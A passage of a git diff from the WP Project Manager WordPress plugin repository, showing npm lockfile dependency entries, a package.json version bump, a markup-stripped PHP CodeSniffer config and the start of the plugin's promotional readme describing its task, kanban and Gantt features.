"https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz", + "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", + "dev": true, + "requires": { + "flat": "^4.1.0", + "lodash": "^4.17.15", + "yargs": "^13.3.0" + }, + "dependencies": { + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, + "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "requires": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true + }, + "require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "string-width": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", + "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, + "requires": { + "emoji-regex": "^7.0.1", + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^5.1.0" + } + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "dev": true + }, + "wrap-ansi": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", + "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.0", + "string-width": "^3.0.0", + "strip-ansi": "^5.0.0" + } + }, + "y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true + }, + "yargs": { + "version": "13.3.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", + "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", + "dev": true, + "requires": { + "cliui": "^5.0.0", + "find-up": "^3.0.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^3.0.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^13.1.2" + } + }, + "yargs-parser": { + "version": "13.1.2", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", + "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", + "dev": true, + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + } + } + } + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "peer": true + }, + "zip-stream": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-2.1.3.tgz", + "integrity": "sha512-EkXc2JGcKhO5N5aZ7TmuNo45budRaFGHOmz24wtJR7znbNqDPmdZtUauKX6et8KAVseAMBOyWJqEpXcHTBsh7Q==", + "dev": true, + "requires": { + "archiver-utils": "^2.1.0", + "compress-commons": "^2.1.1", + "readable-stream": "^3.4.0" + }, + "dependencies": { + "archiver-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", + "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", + "dev": true, + "requires": { + "glob": "^7.1.4", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash.defaults": "^4.2.0", + "lodash.difference": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.union": "^4.6.0", + "normalize-path": "^3.0.0", + "readable-stream": "^2.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "compress-commons": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-2.1.1.tgz", + "integrity": "sha512-eVw6n7CnEMFzc3duyFVrQEuY1BlHR3rYsSztyG32ibGMW722i3C6IizEGMFmfMU+A+fALvBIwxN3czffTcdA+Q==", + "dev": true, + "requires": { + "buffer-crc32": "^0.2.13", + "crc32-stream": "^3.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^2.3.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + } + } + } + } + } + } +} diff --git a/package.json b/package.json index 46b7ed0fd..66640971a 100644 --- a/package.json +++ b/package.json @@ -1,114 +1,114 @@ -{ - "name": "pmapi", - "version": "2.6.0", - "description": "Front-end package manager for project manager", - "main": "index.js", - "directories": { - "test": "tests" - }, - "scripts": { - "start": "webpack --progress --colors --watch", - "build": "cross-env NODE_ENV=production webpack --progress --colors ", - "release": "webpack --progress --colors grunt zip", - "makepot": "wpvuei18n makepot" - }, - "repository": { - "type": "git", - "url": "git+https://github.com/weDevsOfficial/wp-project-manager.git" - }, - "author": "", - "license": "ISC", - "bugs": { - "url": "https://github.com/weDevsOfficial/wp-project-manager/issues" - }, - "homepage": "https://github.com/weDevsOfficial/wp-project-manager#readme", - "devDependencies": { - "@babel/cli": "^7.10.5", - "@babel/preset-env": "^7.10.4", - "@wordpress/dependency-extraction-webpack-plugin": "^2.8.0", - "@wordpress/hooks": "^2.0.5", - "ajv": "^5.2.2", - "ajv-keywords": "^2.1.0", - "babel-cli": "^6.26.0", - "babel-core": "^6.26.0", - "babel-loader": "^7.1.5", - "babel-plugin-syntax-dynamic-import": "^6.18.0", - "babel-plugin-transform-object-rest-spread": "^6.26.0", - "babel-plugin-transform-runtime": "^6.23.0", - "babel-preset-env": "^1.6.1", - "babel-preset-es2015": "^6.24.1", - "babel-preset-react": "^6.24.1", - "cli": "^1.0.1", - "codeceptjs": "^2.2.0", - "coffee-loader": "^0.8.0", - "coffeescript": "^1.12.7", - "cross-env": "^5.2.0", - "css-loader": "^0.28.7", - "due": "0.0.18", - "es6-promise": "^4.2.4", - "eslint": "^4.5.0", - "eslint-loader": "^1.9.0", - "extract-text-webpack-plugin": "^3.0.2", - "file-loader": "^0.11.2", - "grunt": "^1.0.3", - "grunt-browserify": "^5.3.0", - "grunt-contrib-clean": "^1.0.0", - "grunt-contrib-compress": "^1.4.1", - "grunt-contrib-concat": "^1.0.1", - "grunt-contrib-copy": "^1.0.0", - "grunt-contrib-jshint": "^1.1.0", - "grunt-contrib-less": "^2.0.0", - "grunt-contrib-watch": "^1.1.0", - "grunt-run": "^0.8.0", - "grunt-ssh": "^0.12.9", - "grunt-text-replace": "^0.4.0", - "grunt-wp-i18n": "^1.0.2", - "jed": "^1.1.1", - "less": "^3.7.1", - "less-loader": "^4.1.0", - "lodash": "^4.17.19", - "node-sass": "^4.13.1", - "npm": "^6.2.0", - "optimize-css-assets-webpack-plugin": "^5.0.0", - "partialify": "^3.1.6", - "promise-polyfill": "^6.0.2", - "pug": "^3.0.1", - "react": "^15.6.1", - "rimraf": "^2.6.1", - "sass-loader": "^6.0.6", - "shx": "^0.2.2", - "style-loader": "^0.19.1", - "uglify-js": "^3.4.4", - "uglifyjs-webpack-plugin": "^1.2.4", - "url-loader": "^1.1.2", - "vue-loader": "^13.0.4", - "vue-template-compiler": "^2.4.2", - "watch": "^1.0.2", - "webpack": "^3.12.0", - "wp-vue-i18n": "^1.1.3" - }, - "dependencies": { - "@wordpress/url": "^2.15.0", - "babel-preset-stage-2": "^6.24.1", - "chart.js": "^2.7.1", - "classnames": "^2.2.6", - "fullcalendar": "3.6.2", - "jquery-timepicker": "^1.3.3", - "lodash": "^4.17.15", - "moment": "^2.19.1", - "moment-timezone": "^0.5.13", - "nprogress": "^0.2.0", - "toastr": "^2.1.2", - "underscore": "^1.10.2", - "v-autocomplete": "^1.8.2", - "vue": "^2.5.2", - "vue-color": "^2.4.5", - "vue-fragment": "^1.5.1", - "vue-fullscreen": "^2.1.5", - "vue-multiselect": "^2.0.3", - "vue-popperjs": "^1.6.3", - "vue-router": "^3.0.1", - "vue2-daterange-picker": "^0.5.1", - "vuex": "^3.0.0" - } -} +{ + "name": "pmapi", + "version": "2.6.0", + "description": "Front-end package manager for project manager", + "main": "index.js", + "directories": { + "test": "tests" + }, + "scripts": { + "start": "webpack --progress --colors --watch", + "build": "cross-env NODE_ENV=production webpack --progress --colors ", + "release": "webpack --progress --colors grunt zip", + "makepot": "wpvuei18n makepot" + }, + "repository": { + "type": "git", + "url": "git+https://github.com/weDevsOfficial/wp-project-manager.git" + }, + "author": "", + "license": "ISC", + "bugs": { + "url": "https://github.com/weDevsOfficial/wp-project-manager/issues" + }, + "homepage": "https://github.com/weDevsOfficial/wp-project-manager#readme", + "devDependencies": { + "@babel/cli": "^7.10.5", + "@babel/preset-env": "^7.10.4", + "@wordpress/dependency-extraction-webpack-plugin": "^2.8.0", + "@wordpress/hooks": "^2.0.5", + "ajv": "^5.2.2", + "ajv-keywords": "^2.1.0", + "babel-cli": "^6.26.0", + "babel-core": "^6.26.0", + "babel-loader": "^7.1.5", + "babel-plugin-syntax-dynamic-import": "^6.18.0", + "babel-plugin-transform-object-rest-spread": "^6.26.0", + "babel-plugin-transform-runtime": "^6.23.0", + "babel-preset-env": "^1.6.1", + "babel-preset-es2015": "^6.24.1", + "babel-preset-react": "^6.24.1", + "cli": "^1.0.1", + "codeceptjs": "^2.6.11", + "coffee-loader": "^0.8.0", + "coffeescript": "^1.12.7", + "cross-env": "^5.2.0", + "css-loader": "^0.28.7", + "due": "0.0.18", + "es6-promise": "^4.2.4", + "eslint": "^4.5.0", + "eslint-loader": "^1.9.0", + "extract-text-webpack-plugin": "^3.0.2", + "file-loader": "^0.11.2", + "grunt": "^1.0.3", + "grunt-browserify": "^5.3.0", + "grunt-contrib-clean": "^1.0.0", + "grunt-contrib-compress": "^1.4.1", + "grunt-contrib-concat": "^1.0.1", + "grunt-contrib-copy": "^1.0.0", + "grunt-contrib-jshint": "^1.1.0", + "grunt-contrib-less": "^2.0.0", + "grunt-contrib-watch": "^1.1.0", + "grunt-run": "^0.8.0", + "grunt-ssh": "^0.12.9", + "grunt-text-replace": "^0.4.0", + "grunt-wp-i18n": "^1.0.2", + "jed": "^1.1.1", + "less": "^3.7.1", + "less-loader": "^4.1.0", + "lodash": "^4.17.19", + "node-sass": "^4.13.1", + "npm": "^6.14.18", + "optimize-css-assets-webpack-plugin": "^5.0.0", + "partialify": "^3.1.6", + "promise-polyfill": "^6.0.2", + "pug": "^3.0.1", + "react": "^15.6.1", + "rimraf": "^2.6.1", + "sass-loader": "^6.0.6", + "shx": "^0.2.2", + "style-loader": "^0.19.1", + "uglify-js": "^3.4.4", + "uglifyjs-webpack-plugin": "^1.2.4", + "url-loader": "^1.1.2", + "vue-loader": "^13.0.4", + "vue-template-compiler": "^2.4.2", + "watch": "^1.0.2", + "webpack": "^3.12.0", + "wp-vue-i18n": "^1.1.3" + }, + "dependencies": { + "@wordpress/url": "^2.15.0", + "babel-preset-stage-2": "^6.24.1", + "chart.js": "^2.7.1", + "classnames": "^2.2.6", + "fullcalendar": "3.6.2", + "jquery-timepicker": "^1.3.3", + "lodash": "^4.17.15", + "moment": "^2.19.1", + "moment-timezone": "^0.5.13", + "nprogress": "^0.2.0", + "toastr": "^2.1.2", + "underscore": "^1.10.2", + "v-autocomplete": "^1.8.2", + "vue": "^2.5.2", + "vue-color": "^2.4.5", + "vue-fragment": "^1.5.1", + "vue-fullscreen": "^2.1.5", + "vue-multiselect": "^2.0.3", + "vue-popperjs": "^1.6.3", + "vue-router": "^3.0.1", + "vue2-daterange-picker": "^0.5.1", + "vuex": "^3.0.0" + } +} diff --git a/phpcs.xml.dist b/phpcs.xml.dist index e21adc2d7..3d17b0c7b 100644 --- a/phpcs.xml.dist +++ b/phpcs.xml.dist @@ -1,28 +1,28 @@ - - - Generally-applicable sniffs for WordPress plugins - - - */assets/* - */src/* - */lib/* - */build/* - */node_modules/* - */vendor/* - */tests/* - */bin/* - - - - - - . - - - - - - + + + Generally-applicable sniffs for WordPress plugins + + + */assets/* + */src/* + */lib/* + */build/* + */node_modules/* + */vendor/* + */tests/* + */bin/* + + + + + + . + + + + + + diff --git a/readme.txt b/readme.txt index 4bfad2e58..adabf906e 100644 --- a/readme.txt +++ b/readme.txt @@ -1,1085 +1,1085 @@ -=== WP Project Manager - Task, team, and project management plugin featuring kanban board and gantt charts === -Contributors: tareq1988, nizamuddinbabu, wedevs, asaquzzaman -Donate Link: https://tareq.co/donate/ -Tags: project, project manager, project management, kanban board, gantt charts, task manager, team collaboration tool -Requires at least: 4.4 or higher -Tested up to: 6.0.1 -Requires PHP: 5.6 -Stable tag: 2.6.0 -License: GPLv2 or later -License URI: http://www.gnu.org/licenses/gpl-2.0.html - -The WP Project Manager makes task scheduling, project management, and team collaboration simpler than ever. Manage your projects with a Kanban board, Gantt charts, and different integrations like GitHub, Bitbucket, Slack & BuddyPress. - -== Description == - -**Best Project Management Tool for WordPress** - -Being one of the most advanced project management and task management tools for WordPress, [WP Project Manager comes](https://wedevs.com/wp-project-manager-pro) with some of the exceptional features that turn your project management experience of your teammates a joyful ride. Super-charge your productivity by creating, organizing, and assigning tasks within a few clicks. -Its user-friendly interface and web-based task management feature enable the user to complete their to-dos quicker than ever. -[youtube https://www.youtube.com/watch?v=GI4u8wXOxHg] -Effortlessly get your team to complete all the projects timely with its time tracking tool and generate an advanced performance report with its built-in reporting feature absolutely hassle-free. This cutting-edge innovative project management solution is termed as one of the more reliable open source Project Manager software for WordPress. -So now you can through your headache of being able to manage the project efficiently out of the window with this super-efficient project management application. - -Want to give it a try? Then try its 👉 [FREE OFFICIAL DEMO](https://pm.wedevsdemos.com/wp-login.php) - -**🎯 Key Features of WP Project Manager FREE 🎯** - -**🗓 To-do List** - -* Add as many to-do lists as you want with titles and description -* Add tasks, assign users, assign a due date -* See the progress bar on the list -* Add comments, descriptions, and titles on individual to-do lists and to-do’s -* Mark to-do as complete/incomplete - -**🎯 Milestone** - -* 3 types of milestones are there, a) upcoming, b) completed and c) late milestone -* Assign messages and to-do list on milestone - -**💬 Messages** - -* Messages are used for discussing the project with co-workers of that project -* You can add attachments to messages -* Edit and stylize messages -* Comments can be made for discussion or collaboration - -**🗂 Files** - -* File sharing feature to ensure better understanding and workflow between co-workers. -* Upload all files on messages and comments and navigate to individual attached threads. -* Upload and share any file anytime in one place (Pro). - -**🔔 Dynamic Notification** - -* Email notification to keep the users updated about their assigned, upcoming or outdated tasks. -* Control who will receive which notification from settings (Pro). - -**🔄 Pusher Integration** - -* Get a real-time notification for your project management activities with push notifications. -* You will receive notifications for assigning team members, mentioning in comments, creating tasks, and updating task status. - -👉 [Learn more about all the functions and features from our documentation](https://wedevs.com/docs/wp-project-manager/). - -**💎💥🏆 === Powerful Pro Features of WP Project Manager ===🏆💥💎** - -**[👉 Managing projects from frontend](https://wedevs.com/docs/wp-project-manager/managing-projects-from-wp-project-manager-frontend/)** (Pro) - - * Let your users be able to view your projects from the frontend - * WP Project Manager lets you manage projects without going to the backend interface. - -**[👉 Kanban Board for WordPress](https://wedevs.com/products/plugins/wp-project-manager-pro/kanban-board/)** (Pro) - - * Create unlimited custom kanban boards according to your need for better workflow visualization and project management. - * Drag and drop tasks from one board to another anytime. - * Create new tasks right from any board whenever you want with WP Project Manager - * Get an exact idea of the current stages of all the tasks from one place in the WP Project Manager with the Kanban board. - -**[👉 Gantt Chart for WordPress](https://wedevs.com/products/plugins/wp-project-manager-pro/gantt-chart/)** (Pro) - - * Observe the duration of the tasks through horizontal bar graphs with WP Project Manager - * Change the beginning and finishing dates of the tasks or projects. - * Assess dependencies among different tasks and subtasks with Gantt charts. - -**[👉 Time Tracker](https://wedevs.com/products/plugins/wp-project-manager-pro/time-tracker/)** (Pro) - - * Timer with start, stop or pause feature for every task. - * Calculation and tracking of time spent on a task. - * Payment for hourly charged workers is made easy. - -**[👉 Invoice for Charging Clients](https://wedevs.com/products/plugins/wp-project-manager-pro/invoice/)** (Pro) - - * Invoices will be automatically formatted based on your input in WP Project Manager. - * Upon payment completion, the amount will be added to your account and the invoice will be automatically marked as paid. - * Invoices can be downloaded as pdf on WP Project Manager pro - -**[👉 Interactive calendar](https://wedevs.com/docs/wp-project-manager/managing-projects/calendar/)** (Pro) - - * Check tasks progress with WP Project Manager. - * Dynamic and interactive drag-and-drop functionality to assign tasks. - * Daily, weekly, monthly and user-specific view in the calendar. - -**[👉 Stripe Gateway](https://wedevs.com/wp-project-manager-pro/extensions/invoice-stripe-gateway/)** (Pro) - - * WP Project Manager lets your clients pay using stripe gateway. - * Automate the billing process with predefined project templates of the WP Project Manager. - -**[👉 BuddyPress for WordPress](https://wedevs.com/products/plugins/wp-project-manager-pro/buddypress/)** (Pro) - - * Create different tasks for different teams using WP Project Manager. - * Set administrative staff with access to all departments - * Set different permissions for different employee roles. - * Manage everything using WP Project Manager from the front end of your site. - -**[👉 SubTask for more simple task management system](https://wedevs.com/products/plugins/wp-project-manager-pro/sub-task/)** (Pro) - - * Break your long tasks into as many portions as you need. - * Assign several team members for several tasks. - -**[👉 WooCommerce Integration](https://wedevs.com/products/plugins/wp-project-manager-pro/woocommerce-order/)** (Pro) - - * You can create a project automatically after the order or the payment is processed. - * Control which product will create what type of project and task. - * Add and manage user roles like co-workers, managers, and clients to the Projects and Tasks. - - -**[👉 Advanced Files Management](https://wedevs.com/docs/wp-project-manager/managing-projects/files-wp-project-manager/)** (Pro) - - * Upload all files in one place. - * Create folders for different files using WP Project Manager. - * Link messages & task lists with files. - * Make files private. - - -**[👉 Slack Integration](https://wedevs.com/docs/wp-project-manager/integrations/slack/)** (Pro) - - * Integrate your WP Project Manager Pro with the best workspace communication tool - Slack - * Get instant notifications on your Slack channels when a new task, subtask, or comment is created or an existing one is modified. And also when a task is completed or a new co-worker is added. - -**[👉 GitHub and Bitbucket Integration](https://wedevs.com/docs/wp-project-manager/integrations/github-bitbucket/)** (Pro) - - * Connect your GitHub and Bitbucket account with WP Project Manager easily. - * When issues will be created on your GitHub and Bitbucket accounts, they will be added to your task list. So, your developer team can take action in time. - -**[👉 Advanced Reports with Insights](https://wedevs.com/docs/wp-project-manager/reports/view-reports/)** (Pro) - - * To make your project management efficient, you need to have reports for tasks and user activities. It will help you to make the right decisions for your projects and team. - * You will get several predefined report cases depending on the user activities with the WP Project Manager. The reports are very much self-explanatory. You will get, - - **1. Overdue Tasks** - **2. Completed Task** - **3. User Activities** - **4. Task by Milestone** - **5. Unassigned Tasks** - **6. Summary** - -👉 [GET WP PROJECT MANAGER PRO](https://wedevs.com/wp-project-manager-pro/pricing) - -**STANDOUT FUNCTIONALITIES OF WP PROJECT MANAGER** - -= EFFICIENT TASK MANAGER 